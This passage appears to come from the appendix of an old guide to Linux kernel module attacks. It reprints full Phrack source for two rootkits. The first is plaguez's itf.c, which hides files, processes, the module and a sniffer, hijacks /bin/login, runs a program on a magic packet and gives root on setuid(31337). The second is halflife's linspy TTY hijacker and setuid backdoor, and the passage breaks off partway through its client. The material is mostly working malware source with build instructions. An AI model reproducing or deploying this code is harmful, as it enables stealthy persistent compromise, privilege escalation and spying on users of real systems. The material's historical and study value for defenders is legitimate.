  4844. Network Administrator | or (800) 264-7440 | or zarq@opaque.org
  4845. Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com
  4846. FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]
  4847. </xmp>
  4848. <H3><A NAME="A-c"></A>LKM Hider / Socket Backdoor</h3>
  4849. <b>NAME</b> : itf.c<br>
  4850. <b>AUTHOR</b> : <A HREF="mailto:dube0866@eurobretagne.fr">plaguez</a><br>
  4851. <b>DESCRIPTION</b> : This very good LKM was published in phrack 52 (article 18 :
  4852. 'Weakening the Linux Kernel'). I often refered to it although
  4853. some ideas in it were also taken from other LKMs / texts which
  4854. were published before. This module has everything you need to
  4855. backdoor a system in a very effective way. Look at the text
  4856. supplied with it for all of its features.<br>
  4857. <b>LINK</b> : <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
  4858. <xmp>
  4859. Here is itf.c. The goal of this program is to demonstrate kernel backdooring
  4860. techniques using systemcall redirection. Once installed, it is very hard to
  4861. spot.
  4862. Its features include:
  4863. - stealth functions: once insmod'ed, itf will modify struct module *mp and
  4864. get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.
  4865. Also, the module cannot be unloaded.
  4866. - sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be
  4867. hidden. Note that you'll need to place the sniffer BEFORE insmod'ing itf.o,
  4868. because itf will trap a change in the PROMISC flag and will then stop hidding
  4869. it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot
  4870. the module...).
  4871. - file hidder: itf will also patch the getdents(2) system calls, thus hidding
  4872. files containing a certain word in their filename.
  4873. - process hidder: using the same technique as described above, itf will hide
  4874. /procs/PÏD directories using argv entries. Any process named with the magic
  4875. name will be hidden from the procfs tree.
  4876. - execve redirection: this implements Halflife's idea discussed in P51.
  4877. If a given program (notably /bin/login) is execve'd, itf will execve
  4878. another program instead. It uses tricks to overcome Linux memory managment
  4879. limitations: brk(2) is used to increase the calling program's data segment
  4880. size, thus allowing us to allocate user memory while in kernel mode (remember
  4881. that most system calls wait for arguments in user memory, not kernel mem).
  4882. - socket recvfrom() backdoor: when a packet matching a given size and a given
  4883. string is received, a non-interactive program will be executed. Typicall use
  4884. is a shell script (which will be hidden using the magic name) that opens
  4885. another port and waits there for shell commands.
  4886. - setuid() trojan: like Halflife's stuff. When a setuid() syscall with uid ==
  4887. magic number is done, the calling process will get uid = euid = gid = 0
  4888. <++> lkm_trojan.c
  4889. /*
  4890. * itf.c v0.8
  4891. * Linux Integrated Trojan Facility
  4892. * (c) plaguez 1997 -- dube0866@eurobretagne.fr
  4893. * This is mostly not fully tested code. Use at your own risks.
  4894. *
  4895. *
  4896. * compile with:
  4897. * gcc -c -O3 -fomit-frame-pointer itf.c
  4898. * Then:
  4899. * insmod itf
  4900. *
  4901. *
  4902. * Thanks to Halflife and Solar Designer for their help/ideas.
  4903. *
  4904. * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
  4905. *
  4906. *
  4907. */
  4908. #define MODULE
  4909. #define __KERNEL__
  4910. #include <linux/config.h>
  4911. #include <linux/module.h>
  4912. #include <linux/version.h>
  4913. #include <linux/types.h>
  4914. #include <linux/fs.h>
  4915. #include <linux/mm.h>
  4916. #include <linux/errno.h>
  4917. #include <asm/segment.h>
  4918. #include <asm/pgtable.h>
  4919. #include <sys/syscall.h>
  4920. #include <linux/dirent.h>
  4921. #include <asm/unistd.h>
  4922. #include <sys/types.h>
  4923. #include <sys/socket.h>
  4924. #include <sys/socketcall.h>
  4925. #include <linux/netdevice.h>
  4926. #include <linux/if.h>
  4927. #include <linux/if_arp.h>
  4928. #include <linux/if_ether.h>
  4929. #include <linux/proc_fs.h>
  4930. #include <stdio.h>
  4931. #include <errno.h>
  4932. #include <fcntl.h>
  4933. #include <ctype.h>
  4934. /* Customization section
  4935. * - RECVEXEC is the full pathname of the program to be launched when a packet
  4936. * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().
  4937. * This program can be a shell script, but must be able to handle null **argv (I'm too lazy
  4938. * to write more than execve(RECVEXEC,NULL,NULL); :)
  4939. * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
  4940. * when an execve() syscall occurs.
  4941. * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)
  4942. * is made (like Halflife's code)
  4943. * - files containing MAGICNAME in their full pathname will be invisible to
  4944. * a getdents() system call.
  4945. * - processes containing MAGICNAME in their process name will be hidden of the
  4946. * procfs tree.
  4947. */
  4948. #define MAGICNAME "w00w00T$!"
  4949. #define MAGICUID 31337
  4950. #define OLDEXEC "/bin/login"
  4951. #define NEWEXEC "/.w00w00T$!/w00w00T$!login"
  4952. #define RECVEXEC "/.w00w00T$!/w00w00T$!recv"
  4953. #define MAGICSIZE sizeof(MAGICNAME)+10
  4954. /* old system calls vectors */
  4955. int (*o_getdents) (uint, struct dirent *, uint);
  4956. ssize_t(*o_readdir) (int, void *, size_t);
  4957. int (*o_setuid) (uid_t);
  4958. int (*o_execve) (const char *, const char *[], const char *[]);
  4959. int (*o_ioctl) (int, int, unsigned long);
  4960. int (*o_get_kernel_syms) (struct kernel_sym *);
  4961. ssize_t(*o_read) (int, void *, size_t);
  4962. int (*o_socketcall) (int, unsigned long *);
  4963. /* entry points to brk() and fork() syscall. */
  4964. static inline _syscall1(int, brk, void *, end_data_segment);
  4965. static inline _syscall0(int, fork);
  4966. static inline _syscall1(void, exit, int, status);
  4967. extern void *sys_call_table[];
  4968. extern struct proto tcp_prot;
  4969. int errno;
  4970. char mtroj[] = MAGICNAME;
  4971. int __NR_myexecve;
  4972. int promisc;
  4973. /*
  4974. * String-oriented functions
  4975. * (from user-space to kernel-space or invert)
  4976. */
  4977. char *strncpy_fromfs(char *dest, const char *src, int n)
  4978. {
  4979. char *tmp = src;
  4980. int compt = 0;
  4981. do {
  4982. dest[compt++] = __get_user(tmp++, 1);
  4983. }
  4984. while ((dest[compt - 1] != '\0') && (compt != n));
  4985. return dest;
  4986. }
  4987. int myatoi(char *str)
  4988. {
  4989. int res = 0;
  4990. int mul = 1;
  4991. char *ptr;
  4992. for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  4993. if (*ptr < '0' || *ptr > '9')
  4994. return (-1);
  4995. res += (*ptr - '0') * mul;
  4996. mul *= 10;
  4997. }
  4998. return (res);
  4999. }
  5000. /*
  5001. * process hiding functions
  5002. */
  5003. struct task_struct *get_task(pid_t pid)
  5004. {
  5005. struct task_struct *p = current;
  5006. do {
  5007. if (p->pid == pid)
  5008. return p;
  5009. p = p->next_task;
  5010. }
  5011. while (p != current);
  5012. return NULL;
  5013. }
  5014. /* the following function comes from fs/proc/array.c */
  5015. static inline char *task_name(struct task_struct *p, char *buf)
  5016. {
  5017. int i;
  5018. char *name;
  5019. name = p->comm;
  5020. i = sizeof(p->comm);
  5021. do {
  5022. unsigned char c = *name;
  5023. name++;
  5024. i--;
  5025. *buf = c;
  5026. if (!c)
  5027. break;
  5028. if (c == '\\') {
  5029. buf[1] = c;
  5030. buf += 2;
  5031. continue;
  5032. }
  5033. if (c == '\n') {
  5034. buf[0] = '\\';
  5035. buf[1] = 'n';
  5036. buf += 2;
  5037. continue;
  5038. }
  5039. buf++;
  5040. }
  5041. while (i);
  5042. *buf = '\n';
  5043. return buf + 1;
  5044. }
  5045. int invisible(pid_t pid)
  5046. {
  5047. struct task_struct *task = get_task(pid);
  5048. char *buffer;
  5049. if (task) {
  5050. buffer = kmalloc(200, GFP_KERNEL);
  5051. memset(buffer, 0, 200);
  5052. task_name(task, buffer);
  5053. if (strstr(buffer, (char *) &mtroj)) {
  5054. kfree(buffer);
  5055. return 1;
  5056. }
  5057. }
  5058. return 0;
  5059. }
  5060. /*
  5061. * New system calls
  5062. */
  5063. /*
  5064. * hide module symbols
  5065. */
  5066. int n_get_kernel_syms(struct kernel_sym *table)
  5067. {
  5068. struct kernel_sym *tb;
  5069. int compt, compt2, compt3, i, done;
  5070. compt = (*o_get_kernel_syms) (table);
  5071. if (table != NULL) {
  5072. tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
  5073. if (tb == 0) {
  5074. return compt;
  5075. }
  5076. compt2 = 0;
  5077. done = 0;
  5078. i = 0;
  5079. memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
  5080. while (!done) {
  5081. if ((tb[compt2].name)[0] == '#')
  5082. i = compt2;
  5083. if (!strcmp(tb[compt2].name, mtroj)) {
  5084. for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
  5085. if (compt3 != (compt - 1))
  5086. memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
  5087. else
  5088. compt = i;
  5089. done++;
  5090. }
  5091. compt2++;
  5092. if (compt2 == compt)
  5093. done++;
  5094. }
  5095. memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
  5096. kfree(tb);
  5097. }
  5098. return compt;
  5099. }
  5100. /*
  5101. * how it works:
  5102. * I need to allocate user memory. To do that, I'll do exactly as malloc() does
  5103. * it (changing the break value).
  5104. */
  5105. int my_execve(const char *filename, const char *argv[], const char *envp[])
  5106. {
  5107. long __res;
  5108. __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
  5109. return (int) __res;
  5110. }
  5111. int n_execve(const char *filename, const char *argv[], const char *envp[])
  5112. {
  5113. char *test;
  5114. int ret, tmp;
  5115. char *truc = OLDEXEC;
  5116. char *nouveau = NEWEXEC;
  5117. unsigned long mmm;
  5118. test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
  5119. (void) strncpy_fromfs(test, filename, strlen(truc));
  5120. test[strlen(truc)] = '\0';
  5121. if (!strcmp(test, truc)) {
  5122. kfree(test);
  5123. mmm = current->mm->brk;
  5124. ret = brk((void *) (mmm + 256));
  5125. if (ret < 0)
  5126. return ret;
  5127. memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
  5128. ret = my_execve((char *) (mmm + 2), argv, envp);
  5129. tmp = brk((void *) mmm);
  5130. } else {
  5131. kfree(test);
  5132. ret = my_execve(filename, argv, envp);
  5133. }
  5134. return ret;
  5135. }
  5136. /*
  5137. * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
  5138. * If we reset the PROMISC flag when the trojan is already running, then it
  5139. * won't hide it anymore (needed otherwise you'd just have to do an
  5140. * "ifconfig eth0 +promisc" to find the trojan).
  5141. */
  5142. int n_ioctl(int d, int request, unsigned long arg)
  5143. {
  5144. int tmp;
  5145. struct ifreq ifr;
  5146. tmp = (*o_ioctl) (d, request, arg);
  5147. if (request == SIOCGIFFLAGS && !promisc) {
  5148. memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
  5149. ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
  5150. memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
  5151. } else if (request == SIOCSIFFLAGS) {
  5152. memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
  5153. if (ifr.ifr_flags & IFF_PROMISC)
  5154. promisc = 1;
  5155. else if (!(ifr.ifr_flags & IFF_PROMISC))
  5156. promisc = 0;
  5157. }
  5158. return tmp;
  5159. }
  5160. /*
  5161. * trojan setMAGICUID() system call.
  5162. */
  5163. int n_setuid(uid_t uid)
  5164. {
  5165. int tmp;
  5166. if (uid == MAGICUID) {
  5167. current->uid = 0;
  5168. current->euid = 0;
  5169. current->gid = 0;
  5170. current->egid = 0;
  5171. return 0;
  5172. }
  5173. tmp = (*o_setuid) (uid);
  5174. return tmp;
  5175. }
  5176. /*
  5177. * trojan getdents() system call.
  5178. */
  5179. int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
  5180. {
  5181. unsigned int tmp, n;
  5182. int t, proc = 0;
  5183. struct inode *dinode;
  5184. struct dirent *dirp2, *dirp3;
  5185. tmp = (*o_getdents) (fd, dirp, count);
  5186. #ifdef __LINUX_DCACHE_H
  5187. dinode = current->files->fd[fd]->f_dentry->d_inode;
  5188. #else
  5189. dinode = current->files->fd[fd]->f_inode;
  5190. #endif
  5191. if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  5192. proc = 1;
  5193. if (tmp > 0) {
  5194. dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  5195. memcpy_fromfs(dirp2, dirp, tmp);
  5196. dirp3 = dirp2;
  5197. t = tmp;
  5198. while (t > 0) {
  5199. n = dirp3->d_reclen;
  5200. t -= n;
  5201. if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
  5202. ||(proc && invisible(myatoi(dirp3->d_name)))) {
  5203. if (t != 0)
  5204. memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
  5205. else
  5206. dirp3->d_off = 1024;
  5207. tmp -= n;
  5208. }
  5209. if (dirp3->d_reclen == 0) {
  5210. /*
  5211. * workaround for some shitty fs drivers that do not properly
  5212. * feature the getdents syscall.
  5213. */
  5214. tmp -= t;
  5215. t = 0;
  5216. }
  5217. if (t != 0)
  5218. dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  5219. }
  5220. memcpy_tofs(dirp, dirp2, tmp);
  5221. kfree(dirp2);
  5222. }
  5223. return tmp;
  5224. }
  5225. /*
  5226. * Trojan socketcall system call
  5227. * executes a given binary when a packet containing the magic word is received.
  5228. * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.
  5229. */
  5230. int n_socketcall(int call, unsigned long *args)
  5231. {
  5232. int ret, ret2, compt;
  5233. char *t = RECVEXEC;
  5234. unsigned long *sargs = args;
  5235. unsigned long a0, a1, mmm;
  5236. void *buf;
  5237. ret = (*o_socketcall) (call, args);
  5238. if (ret == MAGICSIZE && call == SYS_RECVFROM) {
  5239. a0 = get_user(sargs);
  5240. a1 = get_user(sargs + 1);
  5241. buf = kmalloc(ret, GFP_KERNEL);
  5242. memcpy_fromfs(buf, (void *) a1, ret);
  5243. for (compt = 0; compt < ret; compt++)
  5244. if (((char *) (buf))[compt] == 0)
  5245. ((char *) (buf))[compt] = 1;
  5246. if (strstr(buf, mtroj)) {
  5247. kfree(buf);
  5248. ret2 = fork();
  5249. if (ret2 == 0) {
  5250. mmm = current->mm->brk;
  5251. ret2 = brk((void *) (mmm + 256));
  5252. memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
  5253. /* Hope the execve has been successfull otherwise you'll have 2 copies of the
  5254. master process in the ps list :] */
  5255. ret2 = my_execve((char *) mmm + 2, NULL, NULL);
  5256. }
  5257. }
  5258. }
  5259. return ret;
  5260. }
  5261. /*
  5262. * module initialization stuff.
  5263. */
  5264. int init_module(void)
  5265. {
  5266. /* module list cleaning */
  5267. /* would need to make a clean search of the right register
  5268. * in the function prologue, since gcc may not always put
  5269. * struct module *mp in %ebx
  5270. *
  5271. * Try %ebx, %edi, %ebp, well, every register actually :)
  5272. */
  5273. register struct module *mp asm("%ebx");
  5274. *(char *) (mp->name) = 0;
  5275. mp->size = 0;
  5276. mp->ref = 0;
  5277. /*
  5278. * Make it unremovable
  5279. */
  5280. /* MOD_INC_USE_COUNT;
  5281. */
  5282. o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
  5283. sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;
  5284. o_getdents = sys_call_table[SYS_getdents];
  5285. sys_call_table[SYS_getdents] = (void *) n_getdents;
  5286. o_setuid = sys_call_table[SYS_setuid];
  5287. sys_call_table[SYS_setuid] = (void *) n_setuid;
  5288. __NR_myexecve = 164;
  5289. while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  5290. __NR_myexecve--;
  5291. o_execve = sys_call_table[SYS_execve];
  5292. if (__NR_myexecve != 0) {
  5293. sys_call_table[__NR_myexecve] = o_execve;
  5294. sys_call_table[SYS_execve] = (void *) n_execve;
  5295. }
  5296. promisc = 0;
  5297. o_ioctl = sys_call_table[SYS_ioctl];
  5298. sys_call_table[SYS_ioctl] = (void *) n_ioctl;
  5299. o_socketcall = sys_call_table[SYS_socketcall];
  5300. sys_call_table[SYS_socketcall] = (void *) n_socketcall;
  5301. return 0;
  5302. }
  5303. void cleanup_module(void)
  5304. {
  5305. sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
  5306. sys_call_table[SYS_getdents] = o_getdents;
  5307. sys_call_table[SYS_setuid] = o_setuid;
  5308. sys_call_table[SYS_socketcall] = o_socketcall;
  5309. if (__NR_myexecve != 0)
  5310. sys_call_table[__NR_myexecve] = 0;
  5311. sys_call_table[SYS_execve] = o_execve;
  5312. sys_call_table[SYS_ioctl] = o_ioctl;
  5313. }
  5314. <-->
  5315. ----[ EOF
  5316. </xmp>
  5317. <H3><A NAME="A-d"></A>LKM TTY hijacking</h3>
  5318. <b>NAME</b> : linspy<br>
  5319. <b>AUTHOR</b> : <A HREF="mailto:halflife@infonexus.com">halflife</a><br>
  5320. <b>DESCRIPTION</b> : This LKM comes again Phrack issue 50 (article 5: 'Abuse of the
  5321. Linux Kernel for Fun and Profit'). It is a very nice TTY
  5322. hijacker working the way I outline in II.7. This module
  5323. uses its own character device for control / and logging.<br>
  5324. <b>LINK</b> : <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
  5325. <xmp>
  5326. <++> linspy/Makefile
  5327. CONFIG_KERNELD=-DCONFIG_KERNELD
  5328. CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
  5329. CC=gcc
  5330. # this is the name of the device you have (or will) made with mknod
  5331. DN = '-DDEVICE_NAME="/dev/ltap"'
  5332. # 1.2.x need this to compile, comment out on 1.3+ kernels
  5333. V = #-DNEED_VERSION
  5334. MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
  5335. all: linspy ltread setuid
  5336. linspy: linspy.c /usr/include/linux/version.h
  5337. $(CC) $(MODCFLAGS) -c linspy.c
  5338. ltread:
  5339. $(CC) $(DN) -o ltread ltread.c
  5340. clean:
  5341. rm *.o ltread
  5342. setuid: hacked_setuid.c /usr/include/linux/version.h
  5343. $(CC) $(MODCFLAGS) -c hacked_setuid.c
  5344. <--> end Makefile
  5345. <++> linspy/hacked_setuid.c
  5346. int errno;
  5347. #include <linux/sched.h>
  5348. #include <linux/mm.h>
  5349. #include <linux/malloc.h>
  5350. #include <linux/errno.h>
  5351. #include <linux/sched.h>
  5352. #include <linux/kernel.h>
  5353. #include <linux/times.h>
  5354. #include <linux/utsname.h>
  5355. #include <linux/param.h>
  5356. #include <linux/resource.h>
  5357. #include <linux/signal.h>
  5358. #include <linux/string.h>
  5359. #include <linux/ptrace.h>
  5360. #include <linux/stat.h>
  5361. #include <linux/mman.h>
  5362. #include <linux/mm.h>
  5363. #include <asm/segment.h>
  5364. #include <asm/io.h>
  5365. #include <linux/module.h>
  5366. #include <linux/version.h>
  5367. #include <errno.h>
  5368. #include <linux/unistd.h>
  5369. #include <string.h>
  5370. #include <asm/string.h>
  5371. #include <sys/syscall.h>
  5372. #include <sys/types.h>
  5373. #include <sys/sysmacros.h>
  5374. #ifdef NEED_VERSION
  5375. static char kernel_version[] = UTS_RELEASE;
  5376. #endif
  5377. static inline _syscall1(int, setuid, uid_t, uid);
  5378. extern void *sys_call_table[];
  5379. void *original_setuid;
  5380. extern int hacked_setuid(uid_t uid)
  5381. {
  5382. int i;
  5383. if(uid == 4755)
  5384. {
  5385. current->uid = current->euid = current->gid = current->egid = 0;
  5386. return 0;
  5387. }
  5388. sys_call_table[SYS_setuid] = original_setuid;
  5389. i = setuid(uid);
  5390. sys_call_table[SYS_setuid] = hacked_setuid;
  5391. if(i == -1) return -errno;
  5392. else return i;
  5393. }
  5394. int init_module(void)
  5395. {
  5396. original_setuid = sys_call_table[SYS_setuid];
  5397. sys_call_table[SYS_setuid] = hacked_setuid;
  5398. return 0;
  5399. }
  5400. void cleanup_module(void)
  5401. {
  5402. sys_call_table[SYS_setuid] = original_setuid;
  5403. }
  5404. <++> linspy/linspy.c
  5405. int errno;
  5406. #include <linux/tty.h>
  5407. #include <linux/sched.h>
  5408. #include <linux/mm.h>
  5409. #include <linux/malloc.h>
  5410. #include <linux/errno.h>
  5411. #include <linux/sched.h>
  5412. #include <linux/kernel.h>
  5413. #include <linux/times.h>
  5414. #include <linux/utsname.h>
  5415. #include <linux/param.h>
  5416. #include <linux/resource.h>
  5417. #include <linux/signal.h>
  5418. #include <linux/string.h>
  5419. #include <linux/ptrace.h>
  5420. #include <linux/stat.h>
  5421. #include <linux/mman.h>
  5422. #include <linux/mm.h>
  5423. #include <asm/segment.h>
  5424. #include <asm/io.h>
  5425. #ifdef MODULE
  5426. #include <linux/module.h>
  5427. #include <linux/version.h>
  5428. #endif
  5429. #include <errno.h>
  5430. #include <asm/segment.h>
  5431. #include <linux/unistd.h>
  5432. #include <string.h>
  5433. #include <asm/string.h>
  5434. #include <sys/syscall.h>
  5435. #include <sys/types.h>
  5436. #include <sys/sysmacros.h>
  5437. #include <linux/vt.h>
  5438. /* set the version information, if needed */
  5439. #ifdef NEED_VERSION
  5440. static char kernel_version[] = UTS_RELEASE;
  5441. #endif
  5442. #ifndef MIN
  5443. #define MIN(a,b) ((a) < (b) ? (a) : (b))
  5444. #endif
  5445. /* ring buffer info */
  5446. #define BUFFERSZ 2048
  5447. char buffer[BUFFERSZ];
  5448. int queue_head = 0;
  5449. int queue_tail = 0;
  5450. /* taken_over indicates if the victim can see any output */
  5451. int taken_over = 0;
  5452. static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
  5453. extern void *sys_call_table[];
  5454. /* device info for the linspy device, and the device we are watching */
  5455. static int linspy_major = 40;
  5456. int tty_minor = -1;
  5457. int tty_major = 4;
  5458. /* address of original write(2) syscall */
  5459. void *original_write;
  5460. void save_write(char *, size_t);
  5461. int out_queue(void)
  5462. {
  5463. int c;
  5464. if(queue_head == queue_tail) return -1;
  5465. c = buffer[queue_head];
  5466. queue_head++;
  5467. if(queue_head == BUFFERSZ) queue_head=0;
  5468. return c;
  5469. }
  5470. int in_queue(int ch)
  5471. {
  5472. if((queue_tail + 1) == queue_head) return 0;
  5473. buffer[queue_tail] = ch;
  5474. queue_tail++;
  5475. if(queue_tail == BUFFERSZ) queue_tail=0;
  5476. return 1;
  5477. }
  5478. /* check if it is the tty we are looking for */
  5479. int is_fd_tty(int fd)
  5480. {
  5481. struct file *f=NULL;
  5482. struct inode *inode=NULL;
  5483. int mymajor=0;
  5484. int myminor=0;
  5485. if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
  5486. return 0;
  5487. mymajor = major(inode->i_rdev);
  5488. myminor = minor(inode->i_rdev);
  5489. if(mymajor != tty_major) return 0;
  5490. if(myminor != tty_minor) return 0;
  5491. return 1;
  5492. }
  5493. /* this is the new write(2) replacement call */
  5494. extern int new_write(int fd, char *buf, size_t count)
  5495. {
  5496. int r;
  5497. if(is_fd_tty(fd))
  5498. {
  5499. if(count > 0)
  5500. save_write(buf, count);
  5501. if(taken_over) return count;
  5502. }
  5503. sys_call_table[SYS_write] = original_write;
  5504. r = write(fd, buf, count);
  5505. sys_call_table[SYS_write] = new_write;
  5506. if(r == -1) return -errno;
  5507. else return r;
  5508. }
  5509. /* save data from the write(2) call into the buffer */
  5510. void save_write(char *buf, size_t count)
  5511. {
  5512. int i;
  5513. for(i=0;i < count;i++)
  5514. in_queue(get_fs_byte(buf+i));
  5515. }
  5516. /* read from the ltap device - return data from queue */
  5517. static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
  5518. {
  5519. int i;
  5520. int c;
  5521. int cnt=0;
  5522. if(current->euid != 0) return 0;
  5523. for(i=0;i < count;i++)
  5524. {
  5525. c = out_queue();
  5526. if(c < 0) break;
  5527. cnt++;
  5528. put_fs_byte(c, buf+i);
  5529. }
  5530. return cnt;
  5531. }
  5532. /* open the ltap device */
  5533. static int linspy_open(struct inode *in, struct file *fi)
  5534. {
  5535. if(current->euid != 0) return -EIO;
  5536. MOD_INC_USE_COUNT;
  5537. return 0;
  5538. }
  5539. /* close the ltap device */
  5540. static void linspy_close(struct inode *in, struct file *fi)
  5541. {
  5542. taken_over=0;
  5543. tty_minor = -1;
  5544. MOD_DEC_USE_COUNT;
  5545. }
  5546. /* some ioctl operations */
  5547. static int
  5548. linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
  5549. {
  5550. #define LS_SETMAJOR 0
  5551. #define LS_SETMINOR 1
  5552. #define LS_FLUSHBUF 2
  5553. #define LS_TOGGLE 3
  5554. if(current->euid != 0) return -EIO;
  5555. switch(cmd)
  5556. {
  5557. case LS_SETMAJOR:
  5558. tty_major = args;
  5559. queue_head = 0;
  5560. queue_tail = 0;
  5561. break;
  5562. case LS_SETMINOR:
  5563. tty_minor = args;
  5564. queue_head = 0;
  5565. queue_tail = 0;
  5566. break;
  5567. case LS_FLUSHBUF:
  5568. queue_head=0;
  5569. queue_tail=0;
  5570. break;
  5571. case LS_TOGGLE:
  5572. if(taken_over) taken_over=0;
  5573. else taken_over=1;
  5574. break;
  5575. default:
  5576. return 1;
  5577. }
  5578. return 0;
  5579. }
  5580. static struct file_operations linspy = {
  5581. NULL,
  5582. linspy_read,
  5583. NULL,
  5584. NULL,
  5585. NULL,
  5586. linspy_ioctl,
  5587. NULL,
  5588. linspy_open,
  5589. linspy_close,
  5590. NULL
  5591. };
  5592. /* init the loadable module */
  5593. int init_module(void)
  5594. {
  5595. original_write = sys_call_table[SYS_write];
  5596. sys_call_table[SYS_write] = new_write;
  5597. if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
  5598. return 0;
  5599. }
  5600. /* cleanup module before being removed */
  5601. void cleanup_module(void)
  5602. {
  5603. sys_call_table[SYS_write] = original_write;
  5604. unregister_chrdev(linspy_major, "linspy");
  5605. }
  5606. <--> end linspy.c
  5607. <++> linspy/ltread.c
  5608. #include <stdio.h>
  5609. #include <stdlib.h>
  5610. #include <unistd.h>
  5611. #include <termios.h>
  5612. #include <string.h>
  5613. #include <fcntl.h>
  5614. #include <signal.h>
  5615. #include <sys/types.h>
  5616. #include <sys/stat.h>
  5617. #include <sys/sysmacros.h>
  5618. struct termios save_termios;
  5619. int ttysavefd = -1;
  5620. int fd;
  5621. #ifndef DEVICE_NAME
  5622. #define DEVICE_NAME "/dev/ltap"
  5623. #endif
  5624. #define LS_SETMAJOR 0
  5625. #define LS_SETMINOR 1
  5626. #define LS_FLUSHBUF 2
  5627. #define LS_TOGGLE 3
  5628. void stuff_keystroke(int fd, char key)
  5629. {
  5630. ioctl(fd, TIOCSTI, &key);
  5631. }
  5632. int tty_cbreak(int fd)
  5633. {
  5634. struct termios buff;
  5635. if(tcgetattr(fd, &save_termios) < 0)
  5636. return -1;
  5637. buff = save_termios;
  5638. buff.c_lflag &= ~(ECHO | ICANON);
  5639. buff.c_cc[VMIN] = 0;
  5640. buff.c_cc[VTIME] = 0;
  5641. if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
  5642. return -1;
  5643. ttysavefd = fd;
  5644. return 0;
  5645. }
  5646. char *get_device(char *basedevice)
  5647. {
  5648. static char devname[1024];
  5649. int fd;
  5650. if(strlen(basedevice) > 128) return NULL;
  5651. if(basedevice[0] == '/')
  5652. strcpy(devname, basedevice);
  5653. else
  5654. sprintf(devname, "/dev/%s", basedevice);
  5655. fd = open(devname, O_RDONLY);
  5656. if(fd < 0) return NULL;
  5657. if(!isatty(fd)) return NULL;
  5658. close(fd);
  5659. return devname;
  5660. }
  5661. int do_ioctl(char *device)
  5662. {
  5663. struct stat mystat;
  5664. if(stat(device, &mystat) < 0) return -1;
  5665. fd = open(DEVICE_NAME, O_RDONLY);
  5666. if(fd < 0) return -1;
  5667. if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
  5668. if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
  5669. }
  5670. void sigint_handler(int s)
  5671. {
  5672. exit(s);
  5673. }
  5674. void cleanup_atexit(void)
  5675. {
  5676. puts(" ");
  5677. if(ttysavefd >= 0)
  5678. tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
  5679. }
  5680. main(int argc, char **argv)
  5681. {
  5682. int my_tty;
  5683. char *devname;
  5684. unsigned char ch;
  5685. int i;
  5686. if(argc != 2)
  5687. {
  5688. fprintf(stderr, "%s ttyname\n", argv[0]);
  5689. fprintf(stderr, "ttyname should NOT be your current tty!\n");
  5690. exit(0);
  5691. }
  5692. devname = get_device(argv[1]);
  5693. if(devname == NULL)
  5694. {
  5695. perror("get_device");
  5696. exit(0);
  5697. }
  5698. if(tty_cbreak(0) < 0)
  5699. {
  5700. perror("tty_cbreak");
  5701. exit(0);
  5702. }
  5703. atexit(cleanup_atexit);
  5704. signal(SIGINT, sigint_handler);
  5705. if(do_ioctl(devname) < 0)
  5706. {
  5707. perror("do_ioctl");
  5708. exit(0);
  5709. }
  5710. my_tty = open(devname, O_RDWR);
  5711. if(my_tty == -1) exit(0);
  5712. setvbuf(stdout, NULL, _IONBF, 0);
  5713. printf("[now monitoring session]\n");
  5714. while(1)
  5715. {
  5716. i = read(0, &ch, 1);
  5717. if(i > 0)
  5718. {
  5719. if(ch == 24)
  5720. {
  5721. ioctl(fd, LS_TOGGLE, 0);
